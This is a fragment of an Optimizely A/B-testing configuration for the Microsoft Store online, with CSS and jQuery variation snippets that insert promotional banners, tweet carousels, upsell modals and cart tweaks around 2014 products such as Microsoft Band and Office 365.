-moz-available;\n margin-top: 0px;\n vertical-align: baseline;\n margin-bottom:0 !important;\n display:none;\n}\n.experiment-addon-visible a.exp-modal {\n display:block;\n}\n\n/* Modal UX */\n.exp-modal-addon .mfp-content{\nbackground-color:#fff;\nmax-width:580px;\n}\n.exp-modal-addon .mfp-content .column1{\nwidth:250px;\nfloat:left;\n}\n.exp-modal-addon .mfp-content .column1 img{\ndisplay:block;\nmargin:0 auto;\n}\n.exp-modal-addon .mfp-content .column1 ul{\nmargin:5px 10px;\nfont-size:14px;\n}\n.exp-modal-addon .mfp-content .column1 ul li{\n background: url(\"//dri1.img.digitalrivercontent.net/Storefront/Site/mscommon/cm/images/common_images/liBG.gif\") no-repeat 0 0.6428571429em; \npadding-left:10px;\n}\n.exp-modal-addon .mfp-content .column2{\nwidth:310px;\nmargin-right:20px;\nfloat:right;\n}\n.exp-modal-addon .mfp-content .column2 .heading--large{\nposition:relative;\ntop:-6px;\n}\n.exp-modal-addon .mfp-content .column2 p{\ndisplay:block;\nmargin-top:4px;\nfont-size:1em;\n}\n.exp-modal-addon .mfp-content .column2 a{\nwidth:120px;\npadding:0.5em 1.5625em 0.5em;\n}\n.exp-modal-addon .mfp-content .column2 a.decline{\nbackground-color:#fff;\ncolor:#0a0a0a;\nmargin-left:10px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.decline:hover{\ncolor:#1570a5;\n}\n.exp-modal-addon .mfp-content .column2 a.accept{\nbackground-color:#bad80a;\nmargin-left:30px;\ndisplay:inline-block;\n}\n.exp-modal-addon .mfp-content .column2 a.accept:hover{\nbackground-color:#7fba00;\n}\n.exp-modal-addon .mfp-content .column2 .actions{\nmargin:50px 0 30px 0;\noverflow:hidden;\n}\n.exp-modal-addon .mfp-content .column2 .actions .updating-icon{\nfloat:left; \n}\n.exp-modal-addon .mfp-content .column2 .actions .updating-text{\nfloat:left; \ndisplay:inline-block;\nmargin:10px 0 0 10px;\n}\n\n/* Add info to Tablet */\n.exp-modal-addon .exp-top-pad{\n display:block;\n margin-top:10px;\n}\n.exp-modal-addon .exp-top-pad strong{\n display:block; \n}","variation_ids":["2414990163","2434361029"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store?Action=DisplayPage&Env=BASE&Locale=en_US&SiteID=msusa&id=ThreePgCheckoutShoppingCartPage"}],"enabled_variation_ids":["2414990163","2434361029"]},"2521750013":{"variation_ids":["2486860090","2488910041"],"urls":[{"match":"simple","value":"http://www.microsoftstore.com/store/msusa/en_US/home"}],"enabled_variation_ids":["2486860090","2488910041"]}},"audiences":{"2087110211":{"conditions":["and",["or",["or",{"dimension_id":2100260052,"match":"exact","value":"rewards"}]]],"name":"Aud 2087110211"},"2282040996":{"conditions":["and",["or",["or",{"dimension_id":656910072,"match":"substring","value":"office.com"}]]],"name":"Aud 2282040996"},"2623230149":{"conditions":["and",["or",["not",["or",{"dimension_id":2621050014,"value":"ie8"}]]],["or",["or",{"dimension_id":2605920244,"value":"desktop"}]]],"name":"Aud 2623230149"},"2092602473":{"conditions":["and",["or",["not",["or",{"dimension_id":656650022,"match":"exact"}]]]],"name":"Aud 2092602473","segment_id":2098371093},"2132860974":{"conditions":["and",["or",["or",{"dimension_id":2128292747}]]],"name":"Aud 2132860974","segment_id":2104854076},"1595892559":{"conditions":["and",{"dimension_id":639750578,"value":"bk_results.campaigns[0]==\"11111\""}],"name":"Aud 1595892559","segment_id":245078893},"2508580753":{"conditions":["and",["or",["not",["or",{"dimension_id":649731046,"value":"ie8"},{"dimension_id":649731046,"value":"ie9"},{"dimension_id":649731046,"value":"ie10"},{"dimension_id":649731046,"value":"ie11"}]]]],"name":"Aud 2508580753"},"2114620963":{"conditions":["and",["or",["or",{"dimension_id":656650022,"match":"exists"}]],["or",["not",["or",{"dimension_id":649731046,"value":"ie8"}]]]],"name":"Aud 2114620963"},"2098840430":{"conditions":["and",["or",["not",["or",{"dimension_id":649731046,"value":"ie8"}]]]],"name":"Aud 2098840430"},"1630774099":{"conditions":["and",["or",["or",{"dimension_id":639750578,"value":"screen.width > 1000"}]]],"name":"Aud 1630774099"},"2445740027":{"conditions":["and",["or",["not",["or",{"dimension_id":649731046,"value":"mobile"}]]]],"name":"Aud 2445740027"},"2517780538":{"conditions":["and",["or",["not",["or",{"dimension_id":656650022,"match":"exists"}]]],["or",["not",["or",{"dimension_id":649731046,"value":"ie8"}]]]],"name":"Aud 2517780538"},"2221641343":{"conditions":["and",["or",["not",["or",{"dimension_id":656910072,"match":"substring","value":"http://office.com"}]]],["or",["not",["or",{"dimension_id":2300550761,"match":"exact","value":"true"}]]]],"name":"Aud 2221641343"}},"www_host":"www.optimizely.com","summary_revenue_goal_id":223011414,"public_suffixes":{"":[""],"microsoft.com":["www.microsoft.com"],"microsoftstore.com":["www.microsoftstore.com"],"300190600":["productID.300190600"],"threepgcheckoutshoppingcartpage":["ThreePgCheckoutShoppingCartPage"]},"force_variation":true,"dimensions":{"749103220":{"api_name":"bk_campid_47898","condition_type":"custom_dimension","segment_id":321747162},"1599302563":{"api_name":"bk_campid_43008","condition_type":"custom_dimension","segment_id":411980289},"656650022":{"condition_type":"cookies","name":"EDUVerify"},"649731046":{"condition_type":"browser"},"2300550761":{"condition_type":"cookies","name":"expOfficeTraffic"},"2128292747":{"api_name":"bk_campid_57056","condition_type":"custom_dimension","segment_id":2135080800},"1595892560":{"api_name":"bk_campid_40031","condition_type":"custom_dimension","segment_id":283789152},"639750578":{"condition_type":"code"},"2100260052":{"condition_type":"query","name":"WT.mc_id"},"656910072":{"condition_type":"referrer"},"2605920244":{"condition_type":"device"},"1595782810":{"api_name":"bk_campid_42822","condition_type":"custom_dimension","segment_id":381361249},"1601132541":{"api_name":"bk_campid_39977","condition_type":"custom_dimension","segment_id":282345796},"2621050014":{"condition_type":"browser_version"},"1599282612":{"api_name":"bk_campid_40032","condition_type":"custom_dimension","segment_id":283852042}},"version":"master-1874.382680592368278615","admin_account_id":222980912,"blacklisted_experiments":[2296600834,1908450113,349790344,2165390858,1526581796,2106284384,2303220116,2198774038,2152850209,315082532,1461241254,2104600747,2014220588,2198771246,1790040369,1798190814,2205140154,707164734,2321360063,1777030593,2206650690,2578800325,2128990152,2346980425,2454250059,2322840270,2200860495,2423290704,716436437,2211362391,2439560024,1358613593,1755030238,2376160608,2414150244,2124281573,2201330150,2463570056,789188975,2130590833,2387370004,2187340029],"project_id":222980912,"revision":10467,"installation_verified":true,"preview_host":"//optimizely.s3.amazonaws.com","token_hash":"99774de80be380e9cfd1b2dc95ce49bd9f83d73df7208d7fa0245efb5724e6e9","api_host":"api.optimizely.com","variations":{"2456110080":{},"2208451074":{"code":"$('html').addClass('exp-twitter-variation2');\nvar htmlTemplate = ['
    ',\n '
    ',\n '
    ',\n 'What people are saying',\n '
    ',\n '
    ',\n '
    \t',\n '
    ',\n '
    ',\n\t\t\t\t\t'
    ',\n '
    ',\n '',\n '',\n '
    \t',\n '
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
      ',\n \t'
    • Lets make it a great day! #MicrosoftBand
    • ',\n \t'
    • ',\n '',\n '
      ',\n \t'paulstorm',\n '
      ',\n\t\t\t\t\t\t\t\t\t\t\t\t'',\n '
      ',\n \t'
    • ',\n '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
      ',\n \t'
    • Just paid for my coffee @Starbucks using my Microsoft Band. Smooth transaction. Well done Microsoft. #STL
    • ',\n \t'
    • ',\n '',\n '
      ',\n \t'Kevin Harvell @KevinHarvell',\n '
      ',\n '
      ',\n '
    • ',\n '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t\t\t\t'
      ',\n \t'
    • The new Microsoft Band #myjob #microsoft #microsoftstore #band #pc #surface #cortana #fit #run #app #microsoftband #yes #awesome
    • ',\n \t'
    • ',\n '',\n '
      ',\n \t'star.fowler',\n '
      ',\n\t\t\t\t\t\t\t\t\t\t\t\t'',\n '
      ',\n '
    • ',\n '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t\t\t'
      ',\n \t'
    • I\\'m impressed with the #MicrosoftBand, seriously considering picking one up. Great features for price, plus iOS ready. #TechnologyAndStuff
    • ',\n \t'
    • ',\n '',\n '
      ',\n \t 'Michael Zanussi @michaelzanussi',\n '
      ',\n '
      ',\n \t '
    • ',\n '
    ',\n\t\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n '
    ', \n\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'

    \"Microsoft Band is a game changer\"

    ',\n\t\t\t\t\t\t\t'

    —ZDNet

    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'

    \"The Microsoft Band is a $200 heart-monitoring wristable supreme\"

    ',\n\t\t\t\t\t\t\t'

    —Gizmodo

    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    '].join('\\n');\n\t\t\t\t\t\n$('#ratingsandreviews').before(htmlTemplate);\n\n\n\n\n/* Slider JavaScript */\nfunction expRotator(data){\n\tvar _parent = data['parent'],\n\t\t_sliderObj = $('.slide-container', _parent),\n\t\t_leftArrowObj = $('.rotate-left', _parent),\n\t\t_rightArrowObj = $('.rotate-right', _parent),\n\t\tslideCount = $('.col-sm-6.slider', _parent).length,\n\t\tcurSlide = 1,\n\t\tslideWidth = 0;\n\t\n var measureAndApplyElementWidths = function(){\n //Set slide width\n slideWidth = jQuery(_parent).width();\n \n //Local vars\n var moduleWidth = jQuery(_parent).width(),\n contentWidth = moduleWidth;\n \n //Slide Width\n $('.col-sm-6', _parent).css({\n \t'min-width': moduleWidth + 'px',\n \t'max-width': moduleWidth + 'px'\n }); \n \n $('.slide-container-cutoff', _parent).css('max-width', moduleWidth);\n \n };\n \n var removeMeasuredElementWidths = function(){\n $('.col-sm-6', _parent).removeAttr('style');\n $('.category-products .row.slide-container', _parent).removeAttr('style');\n $('.slide-container-cutoff', _parent).removeAttr('style');\n };\n \n var resetScrollpoint = function(){\n //Reset slide count\n curSlide = 1;\n //Set position to 0\n $('.category-products .row.slide-container', _parent).css('margin-left', '0px');\n \n determineArrowLocation();\n };\n\t\t\n\tvar determineArrowLocation = function(){\n\t\tif(slideCount == 1){ // Hide both arrows, not enough slides to show\n\t\t\t_leftArrowObj.addClass('hide-arrow');\n\t\t\t_rightArrowObj.addClass('hide-arrow');\t\t\n\t\t}\n\t\telse if(curSlide <= 1){ //Hide left arrow\n\t\t\t_leftArrowObj.addClass('hide-arrow');\n\t\t\t_rightArrowObj.removeClass('hide-arrow');\n\t\t}\n\t\telse if(curSlide > 1 && curSlide < slideCount){ //Show both arrows\n\t\t\t_leftArrowObj.removeClass('hide-arrow');\n\t\t\t_rightArrowObj.removeClass('hide-arrow');\n\t\t}\n\t\telse if(curSlide == slideCount){ //Hide right arrow\n\t\t\t_leftArrowObj.removeClass('hide-arrow');\n\t\t\t_rightArrowObj.addClass('hide-arrow');\n\t\t};\n\t};\n\t\n\tvar animateSlide = function(direction){\n\t\tvar currentPosition = _sliderObj.css('margin-left').replace('px',''),\n\t\t\tnewPosition = 0;\n\t\t\n\t\tif(currentPosition % slideWidth === 0){\t\t\n\t\t\tif(direction == 'left'){\n\t\t\t\tnewPosition = (parseFloat(currentPosition) + slideWidth);\n\t\t\t\tcurSlide--;\n\t\t\t}\n\t\t\telse{\n\t\t\t\tnewPosition = (parseFloat(currentPosition) - slideWidth);\n\t\t\t\tcurSlide++;\n\t\t\t};\n\t\t\t\n\t\t\t\n\t\t\tdetermineArrowLocation();\n\t\t\t\n\t\t\t$('.category-products .row.slide-container', _parent).css('margin-left', newPosition + 'px');\n\t\t};\n\t};\n\t\n\t//Onload\n\tdetermineArrowLocation();\n \n measureAndApplyElementWidths();\n\t\n\tjQuery('.rotate-left, .rotate-right', _parent).on('click.rotate', function(){\n\t\tanimateSlide($(this).data('direction'));\n\t});\t\t\n \n /* After Resize Event Fires */\n Viewport.resize(function () {\n \n if(window.innerWidth > 540){\n removeMeasuredElementWidths();\n }\n else{\n resetScrollpoint();\n measureAndApplyElementWidths();\n };\n }); \n \n};\n\nif(window.innerWidth <= 540){\n\texpRotator({parent: '.exp-twitter-4'});\n};\n\n\nvar twitter4IsInit = false;\n/* After Resize Event Fires */\nViewport.resize(function () {\n if(window.innerWidth <= 540 && !twitter4IsInit){\n twitter4IsInit = true;\n expRotator({parent: '.exp-twitter-4'});\n };\n});\n$(\".exp-textcallouts > div:eq(1) > p:eq(0)\").html(\"\\\"Microsoft's health revolution is here, starting with a $199 fitness tracker\\\"\");\n$(\".exp-textcallouts > div:eq(1) > p:eq(1)\").html(\"\u2014The Verge\");"},"2107091459":{},"2406731781":{},"2216480774":{},"2586460167":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2363820556":{"code":"$(function(){\n if($('a[pid-ref=286395000] .badge').length > 0){\n $('a[pid-ref=286395000] .badge').text('Recommended for households');\n }\n else{\n $('a[pid-ref=286395000] .image-container > div').before('Recommended for households');\n }\n if($('a[pid-ref=297833200] .badge').length > 0){\n $('a[pid-ref=297833200] .badge').text('Recommended for Individuals');\n }\n else{\n $('a[pid-ref=297833200] .image-container > div').before('Recommended for Individuals');\n }\n});"},"1027486722":{"code":"console.log('!!Parent Document Includes video chat: ' + (parent.document.location.href.indexOf('pbPage.videochat')>0));\n\n$('html').addClass('experiment-videochat');\n\n$('a.box','.cart-header').css({'pointer-events':'none', 'background-color':'#d2d2d2','color':'#666'});\n$('a.box','.pcf-footer').css({'pointer-events':'none', 'background-color':'#d2d2d2','color':'#666'});\n$('a.checkout').css({'pointer-events':'none', 'background-color':'#d2d2d2','color':'#666'});\n\n$('.cart-header').prepend('
    To proceed with checkout, you must exit the chat window on the right side of your screen.
    ');"},"2386350609":{"code":"$(function(){\n $('body').addClass('exp115BottomLocation');\n});"},"2455160339":{},"1206393367":{},"2192092184":{},"2180910619":{},"1407341085":{},"2112442917":{"code":"$(\"#earnpoints\").replaceWith(\"
    \\n
    \\n\\n\\n

    Easy to earn credits

    \\n\\n\\n
    \\n\\n\\n
    \\n\\n
    \\n\\n \\\"Image\\n\\n

    Search with Bing

    \\n

    Search with Bing on your PC and phone to see your credits start adding up. All you have to do is stay signed-in and keep searching with Bing.

    \\n\\n
    \\n
    \\n\\n
    \\n
    \\n\\n \\\"Image\\n\\n

    Purchase qualifying products

    \\n

    \\n

    Purchase qualifying products from the Microsoft online store and get bonus credits. When your product is shipped, your Bing credits will be added directly into your rewards account within 5 days.

    \\n\\n
    \\n
    \\n\\n
    \\n\\n\\n
    \\n\\n \\\"Image\\n\\n

    Visit the Rewards dashboard

    \\n

    Visit the Rewards dashboard to find out about new ways to earn credits every day. You can earn credits by trying out new features or exploring tips and tricks.

    \\n
    \\n
    \\n
    \\n
    \\n\\n
    \");\n$(\"#redeempoints > .heading--large\").html(\"Redeem credits See all\");\n$(\"#rewards-footer .grid-container\").append(\"

    1Valid for Bing Rewards members who order a qualifying Microsoft Store online products between November 4, 2014 and November 21, 2014, while supplies last. Limit 1 per customer. After your order ships, your credits wil be deposited into your Bing Rewards account within 5 days. Void where prohibited or restricted by law.

    \");"},"2494920232":{"code":"$(function(){\n $('.triple-hero-control a[data-offerid=44824451209] img').attr('src','http://dri1.img.digitalrivercontent.net/Storefront/Site/msusa/images/promo/Office/en-US-Hm-Trip-S-Office365-gen-devices-desktop.jpg');\n $('.triple-hero-control a[data-offerid=44824451209] .overlay h1').text(\"For PCs, tablets, phones\");\n});"},"2223960107":{},"2386830380":{},"2174580271":{"code":"var curVideoView = getExperimentVideo();\n\nfunction getExperimentVideo(){\n \n if(Viewport.isDesktop()){\n return 'MS215308_XBoxOne_HolidayBundles_Desktop-v1B.mp4';\n }\n else if(Viewport.isTablet()){\n return 'MS215308_XBoxOne_HolidayBundles_Tablet-v1B.mp4';\n }\n else{\n return 'MS215308_XBoxOne_HolidayBundles_Mobile-v1B.mp4';\n };\n};\n\nfunction updateVideoHero(){\n\t\tvar newVideo = [''].join('\\n');\n\n\tif(curVideoView != getExperimentVideo()){\n\t\t$('.exp-videobanner video').replaceWith(newVideo);\n\t\n\t\tcurVideoView = getExperimentVideo();\n\t};\n};\n\nvar videoHero = ['
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t\t\t'

    Give \\'em hell

    ',\n '

    Assassin\\'s Creed: Unity and Black Flag free when you buy an Xbox One console, starting at $349

    ',\n\t\t\t\t\t\t\t\t'Shop now',\n\t\t\t\t\t\t\t'
    ',\n\t\t\t\t\t\t'
    ',\n\t\t\t\t\t'
    ',\n\t\t\t\t'
    '].join('\\n');\n\n$('#body .full-page-splash:eq(0)').replaceWith(videoHero);\n\n$(window).resize(function() {\n updateVideoHero();\n});"},"2509780018":{},"2224151608":{},"2203670589":{"code":"/* _optimizely_evaluate=force */\n$('html').addClass('experiment-addon');\n/* _optimizely_evaluate=safe */\n\n\tvar expModal = ['
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '

    For just $29.01 more, get the HP Stream 7 Tablet that includes Office 365

    ',\n '

    The HP Stream 7 Signature Edition Tablet includes 1 year of Office 365 Personal that can also be installed on 1 additional PC.

    ',\n '',\n '
    ',\n '
    '].join('\\n');\n\n\nif($.inArray('297833200', _TM.baseids) != -1){\n\tjQuery.magnificPopup.open({\n\t\ttype: 'inline',\n\t\tmodal: true,\n\t\titems: [{\n\t\t\ttype: 'inline',\n\t\t\tsrc: expModal\n\t\t}],\n callbacks: {\n\t\t\topen: function () {\n\t\t\t\t\n\t\t\t}\n },\n\t\tremovalDelay: 300,\n\t\tmainClass: 'mfp-enable-zoom exp-modal-addon'\n\n\t});\n};\n\n\n/* Update Messaging For Tablet */\nvar itemIndex = $.inArray('308781500', _TM.baseids),\n\t\titemRow = $('.cart-item-container .cart-item:eq(' + itemIndex + ')');\n\n$('.info', itemRow).append('

    Includes Office 365 Personal 1 yr. Subscription.

    ');\n\n\n\n/* Events for Office 365 */\nfunction updateProductConfig(){\n var cartIndex = $.inArray('297833200', _TM.baseids),\n \t\tcartURL = $('.cart-item-container .cart-item:eq(' + cartIndex + ') .remove-prod').attr('href');\n \n\tvar request = jQuery.ajax({\n\t type: \"GET\",\n\t url: cartURL\n\t});\t\t\t\n\t\t\t\t\n\trequest.success(function(data, status){\n\t\t//Add new product to cart\n\t\twindow.location = 'http://www.microsoftstore.com/store/msusa/en_US/buy/productID.308781500/ThemeID.33363200/Currency.USD/mktp.US/nextAction.DisplayThreePgCheckoutShoppingCartPage';\n\t});\t\t\t\n};\t\n\njQuery('body').on('click.addtocart','.exp-modal-addon .exp-yes', function(){\n\tupdateProductConfig();\n \n $(this).closest('.actions').html('Updating cart...');\n});\n\njQuery('body').on('click.addtocart','.exp-modal-addon .exp-no', function(){\n\tjQuery.magnificPopup.close()\n});"},"2575870018":{},"2365284419":{"code":"$('html').addClass('exp-quantityselector');\n\nvar templateHTML = ['
    ',\n '

    Choose quantity

    ',\n '',\n '
    ',\n '
    '].join('\\n');\n\n$('.pdp-cta.add-to-cart').prepend(templateHTML);\n\n\nfunction updateATCURL(){\n var variationPid = $('.variation-container li.active').data('pid'),\n variationURL = 'http://www.microsoftstore.com/store/msusa/en_US/buy/productID.' + variationPid + '/quantity.' + jQuery('.exp-quantity option:selected').val(),\n i;\n\n $('.btnSubmitSpinContainer:not(.hide-option) .buyBtn_AddtoCart').prop('href', variationURL); \n};\n\njQuery('.exp-quantity').on('change', function(){\n updateATCURL();\n});\n\n\njQuery('.variation-container a').on('click', function(){\n jQuery( document ).ajaxComplete(function( event, xhr, settings ) {\n updateATCURL(); \n }); \n});\n\n//Set initial number based on options in dropdown\nupdateATCURL();"},"2595821636":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2264590006":{},"2355210825":{},"2094880842":{"code":"$('html').addClass('exp-list-addtocart');\n\nvar pidsToValidate = ['306439500','306439600','306050100','304277800','286029500','305596800','306584200','306952400','285169400','304306700','295557100','295570600','306174700','306773200','282109700','295240100','295628400','298057900','282125600','287687000','291671100','306855700','286355700','263846200','308246300','309561700'],\n\tcurrentPid = '',\n\ti = 0;\n\t\nfunction returnProductSliderToRender(pid){\n\treturn '
    Add to cart
    ';\n};\t\n\nfunction productSlider(){\n jQuery(pidsToValidate).each(function(){\n currentPid = pidsToValidate[i],\n addToCartButton = returnProductSliderToRender(currentPid);\n\n jQuery('.product[pid-ref=' + currentPid + ']').each(function(){\n if(!jQuery('.exp-cartoverlay', this).length){\n $(this).append('
    ' + addToCartButton + '
    ');\n };\n\t \n if(!jQuery('.exp-cartoverlay', this).length){\n $(this).append('
    ' + addToCartButton + '
    ');\n }; \n });\n i++;\n });\n}; \n\n\nproductSlider();\n\njQuery(document).ajaxComplete(function() {\n productSlider();\n}); \n\n//Expandable icon\njQuery('a.product').on('click', '.exp-buttonslider', function(){\n $(this).closest('.exp-cartoverlay').toggleClass('opened');\n});\n\n//Exp cart button\njQuery('a.product').on('click', '.exp-addtocart .exp-listbutton', function(){\n window.location = $(this).data('href');\n});\n\n\n//Prevent click on add to cart area\nvar mouseOverCart = false;\n\njQuery('.exp-cartoverlay').on('mouseenter', function(){\n\tmouseOverCart = true;\n}).on('mouseleave', function(){\n\tmouseOverCart = false;\n});\n\njQuery('a.product').on('click', function(e){\n\tif(mouseOverCart){\n\t\te.preventDefault();\n\t};\n});"},"2177390159":{"code":"$('#body').append('');"},"2319702609":{"code":"$(function(){\n if($('a[pid-ref=297833200] .badge').length > 0){\n $('a[pid-ref=297833200] .badge').text('1 PC/Mac/iPad');\n }\n else{\n $('a[pid-ref=297833200] .image-container > div').before('1 PC/Mac/iPad');\n }\n});"},"2346861138":{},"1862910051":{"code":"$('html').addClass('exp-signaturebranding 5.27');\n\nfunction expScrollBody(position){\n jQuery('html, body').animate({scrollTop:position + 'px'}, 'slow', function() {\n //Do after scroll complete\n }); \n};\n\n\nvar htmlTemplateDesktop = ['
    ',\n \t'
    ',\n \t\t'\"Signature',\n \t'
    ',\n \t'
    ',\n \t\t'

    Clean. Fast. Protected.

    ',\n \t\t'Learn more >',\n \t'
    ',\n '
    '].join('\\n');\n\nvar htmlTemplateMobile = ['
    ',\n \t'
    ',\n \t\t'\"Signature',\n \t'
    ',\n \t'
    ',\n \t\t'

    Clean. Fast. Protected.

    ',\n \t\t'Learn more >',\n \t'
    ',\n '
    '].join('\\n');\n\n\n$('.description-block.description-desktop').after(htmlTemplateDesktop);\n\n$('.description-block.description-mobile').after(htmlTemplateMobile);\n\njQuery('html').on('click.scroll','.exp-branding-wrapper .learn-more', function(){\n expScrollBody(jQuery('section.ms-signature').position().top);\n});"},"2558030932":{"code":"$(\"#dr_ProductSearchResults a.search-tip\").text('');\n $(\"#dr_ProductSearchResults\").html($(\"#dr_ProductSearchResults\").html().replace(\"Did you mean \",\"

    \"));"},"2110020182":{},"1402111063":{},"2418270297":{"code":"$(document).ready(function(){\n\t\t$('.category-banner-4up:eq(0)').css('display','none');\n});"},"2292870927":{},"2292080220":{"code":"//Create session cookie which is used by office upsell experiment on cart page\nStore.saveCookie('expOfficeTraffic', true);"},"2589650525":{},"1024036451":{},"2153690982":{"code":"var curVideoView = getExperimentVideo();\n\nfunction getExperimentVideo(){\n \n if(Viewport.isDesktop()){\n return 'MS215308_XBoxOne_HolidayBundles_Desktop-v1B.mp4';\n }\n else if(Viewport.isTablet()){\n return 'MS215308_XBoxOne_HolidayBundles_Tablet-v1B.mp4';\n }\n else{\n return 'MS215308_XBoxOne_HolidayBundles_Mobile-v1B.mp4';\n };\n};\n\nfunction updateVideoHero(){\n\t\tvar newVideo = [''].join('\\n');\n\n\tif(curVideoView != getExperimentVideo()){\n\t\t$('.exp-videobanner video').replaceWith(newVideo);\n\t\n\t\tcurVideoView = getExperimentVideo();\n\t};\n};\n\nvar videoHero = ['
    ',\n\t\t\t\t\t'',\n\t\t\t\t'
    '].join('\\n');\n\n$('#body .full-page-splash:eq(0)').replaceWith(videoHero);\n\n$(window).resize(function() {\n updateVideoHero();\n});"},"2411440233":{},"2217220541":{"code":"$(function() { $('div.responsive-header > h1 > span').addClass('exp-1-49'); jQuery('div.responsive-header > h1 > span').on('click', function(e) { window.location.href = '/store/msusa/en_US/home'; }); });"},"2215270512":{"code":"$(\".buySpan_AddtoCart\").append(\"
    \\n \\n

    Get Free expedited shipping when you sign up for Bing Rewards.
    Sign-up is free during checkout.

    \\n
    \");\n$(\"section.ratings\").prepend(\"
    \\n

    Rewards

    \\n\\n\\n\\n

    Free to join. Sign up for Bing Rewards to get rewarded by the Microsoft Store online and Bing. Earn credits when you search on Bing and through daily offers. Redeem your credits for gift cards, Microsoft Store online discounts, Microsoft services and more.

    \\n\\n

    You also get:

    \\n
      \\n
    • \\n

      \\n \\\"lorem

      \\n

      Free 2-day shipping: Get free expedited shipping on all orders over $75 until November 23, 2014.

      \\n
    • \\n
    • \\n

      \\n \\\"lorem

      \\n

      Exclusive deals: Get exclusive offers and product announcements delivered right to your inbox (coming soon).

      \\n
    • \\n \\n
    \\n\\n

    How do I sign up?

    \\n

    At checkout you can sign up for Bing Rewards before you complete your purchase.

    \\n

    \");\n$(\".hero-box\").append(\"
    ...
    \");\n$(\"#optimizely_168095494\").replaceWith(\"
    \");"},"2412660849":{},"2366710904":{},"2299010174":{},"2157081215":{},"2467710083":{},"2601750664":{"code":"$(function(){\n $('body').addClass('exp-rr-star-color-var2');\n});"},"2585800329":{"code":"/* _optimizely_evaluate=force */\ndocument.getElementsByTagName('html')[0].className += \" hide-chat\";\n/* _optimizely_evaluate=safe */"},"2207750284":{"code":"/* _optimizely_evaluate=force */\n$('html').addClass('experiment-addon');\n/* _optimizely_evaluate=safe */\n\n\n//Real add to cart button\nvar expItem = jQuery('a.buyBtn_AddtoCart');\nvar expItemPlaceholderURL = 'http://' + window.location.host + '/store/msusa/en_US/buy/productID.' + $('.variation-container .option-list li.active').data('pid') + '/ThemeID.33363200/Currency.USD/mktp.US';\n\n\n\njQuery(document).ajaxComplete(function() {\n jQuery('html').addClass('experiment-addon-visible');\n});\n\n\n\nfunction returnAddToCartURL(pid){\n var url = '';\n \n switch(pid){\n case '304047100':\n\t\turl = 'http://www.microsoftstore.com/store/msusa/buy/productID.304047100/quantity.1/OfferID.43780332909/qty.1/nextPage.ThreePgCheckoutShoppingCartPage';\n break;\n case '304047200':\n\t\turl = 'http://www.microsoftstore.com/store/msusa/buy/productID.304047200/quantity.1/OfferID.43780332909/qty.1/nextPage.ThreePgCheckoutShoppingCartPage';\n break;\n case '304047300':\n\t\turl = 'http://www.microsoftstore.com/store/msusa/buy/productID.304047300/quantity.1/OfferID.43780332909/qty.1/nextPage.ThreePgCheckoutShoppingCartPage';\n break;\n case '304047400':\n\t\turl = 'http://www.microsoftstore.com/store/msusa/buy/productID.304047400/quantity.1/OfferID.43780332909/qty.1/nextPage.ThreePgCheckoutShoppingCartPage';\n break;\n case '304047500':\n\t\turl = 'http://www.microsoftstore.com/store/msusa/buy/productID.304047500/quantity.1/OfferID.43780332909/qty.1/nextPage.ThreePgCheckoutShoppingCartPage';\n break; \n }\n \n return url;\n};\n\n\nvar expModal = ['
    ',\n '
    ',\n '',\n '
    ',\n '
    ',\n '

    Complete protection for only $99

    ',\n '

    Get two years of coverage for hardware defects and even accidental damage, plus unlimited support from Answer Desk.

    ',\n '',\n '
    ',\n '
